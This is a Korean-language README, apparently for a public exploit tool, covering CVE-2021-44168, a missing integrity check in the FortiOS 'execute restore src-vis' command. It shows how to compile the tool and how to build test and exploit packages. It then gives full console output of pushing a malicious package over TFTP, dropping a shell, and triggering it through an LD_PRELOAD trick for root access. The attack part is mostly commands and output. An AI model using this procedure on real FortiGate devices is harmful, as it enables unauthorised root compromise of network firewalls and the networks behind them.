
FortiOS 7.0.3 이전 버전의 'execute restore src-vis' 명령어에서 코드 다운로드 시 무결성 검사가 수행되지 않는 취약점
CVE-2021-44168을 익스플로잇하여 Fortigate 방화벽에 셸을 드롭하고, Fortigate의 일부 CLI 명령어 실행 시 작동하는 LD_PRELOAD 트릭을 통해 접근을 활성화합니다. 루트 셸을 얻습니다.
컴파일:
gcc -o gen_src-vis_pkg_file gen_src-vis_pkg_file.c -lz
실행:
% ./gen_src-vis_pkg_file
./gen_src-vis_pkg_file [ -t | -p ] filename.img
-t 테스트 패키지 생성
-p 익스플로잇 패키지 생성
filename.img 이 파일에 기록
테스트 모드는 pwned.txt라는 파일을 Fortigate 파일 시스템의 루트에 드롭합니다. 다음과 같이 테스트 패키지를 생성합니다:
% ./gen_src-vis_pkg_file -t test.img
[+] 테스트 패키지 생성 중
[+] 패키지 파일 test.img에 삽입할 test.tar 읽는 중
[+] test.tar 압축 중 (10240 bytes)
[+] 압축된 크기: 115
[+] pkg_header 빌드
[+] pkg_header crc32: 0x16a384f1
[+] obj_header 빌드
[+] obj_type에 CIDB 사용
[+] obj_data crc32: 0xe097e419
[+] obj_header crc32: 0xabdfc3cb
[+] pkg_header + obj_header + obj_data > test.img 쓰는 중
[+] 완료. 고래와 함께 안녕!
익스플로잇 모드는 FortiGate에 셸을 드롭하고 LD_PRELOAD 트릭을 통해 활성화하는 페이로드 패키지를 생성합니다. 익스플로잇 패키지를 생성하려면 다음과 같이 익스플로잇을 실행합니다:
% ./gen_src-vis_pkg_file -p pwn.img
[+] 익스플로잇 패키지 생성 중
[+] 패키지 파일 pwn.img에 삽입할 pwn.tar 읽는 중
[+] pwn.tar 압축 중 (16465920 bytes)
[+] 압축된 크기: 6843825
[+] pkg_header 빌드
[+] pkg_header crc32: 0xd657d879
[+] obj_header 빌드
[+] obj_type에 CIDB 사용
[+] obj_data crc32: 0xf373554b
[+] obj_header crc32: 0x3a7fdcd7
[+] pkg_header + obj_header + obj_data > pwn.img 쓰는 중
[+] 완료. 고래와 함께 안녕!
FortiGate 관리자 CLI에서:
FortiGate # execute restore src-vis tftp pwn.img 192.168.100.1
This operation will overwrite the current source visibility signatures!
Do you want to continue? (y/n)y
Please wait...
Connect to tftp server 192.168.100.1 ...
######
Get source visibility signatures from tftp server OK.
upd_manual_cid[255]-Updating src-vis plugin
doInstallUpdatePackage[981]-Full obj found for CIDB000
doInstallUpdatePackage[991]-Updating obj CIDB
installUpdateObject[323]-Step 1:Unpack obj 29, Total=1, cur=0
installUpdateObject[352]-Step 2:Prepare temp file for obj 29
installUpdObjRest[637]-Step 5:Backup /etc/cid.tar.gz->/tmp/update.backup
installUpdObjRest[651]-Step 6:Copy new object /tmp/updPiMCON->/etc/cid.tar.gz
installUpdObjRest[731]-Step 7:Validate object
installUpdObjRest[755]-Step 8:Re-initialize using new obj file
installUpdObjRest[767]-Step 9:Delete backup /tmp/update.backup
cid svr 13 req 4
__update_status[1181]-CIDB000 installed successfully
upd_status_save_status[114]-try to save on status file
upd_status_save_status[179]-Wrote status file
upd_manual_cid[284]-Update successful
./../../../../../data2/bfbin/rdate: Cannot create symlink to '/data2/bfbin/busybox'Error exit delayed from previous errorsupd_cfg_extract_unpacked2
upd_cfg_extract_cid_db_version[554]-version=06000000CIDB00000-00000.00000-0101010000
cid could not install sigs: version failed
FortiGate #
이 시점에서 Linux로 셸 아웃하는 CLI 명령어에서 LD_PRELOAD를 통해 접근 가능한 셸을 갖게 됩니다. 새로 드롭된 셸을 활성화하는 한 가지 방법은 다음과 같습니다:
# fnsysctl ls
/ #
/ # export PATH=/data2/bfbin:/bin
/ # uname -a
Linux FortiGate 3.2.16 #2 SMP Thu Mar 28 02:54:46 UTC 2019 x86_64 GNU/Linux
추후 공개. 지금은 코드를 읽어보세요.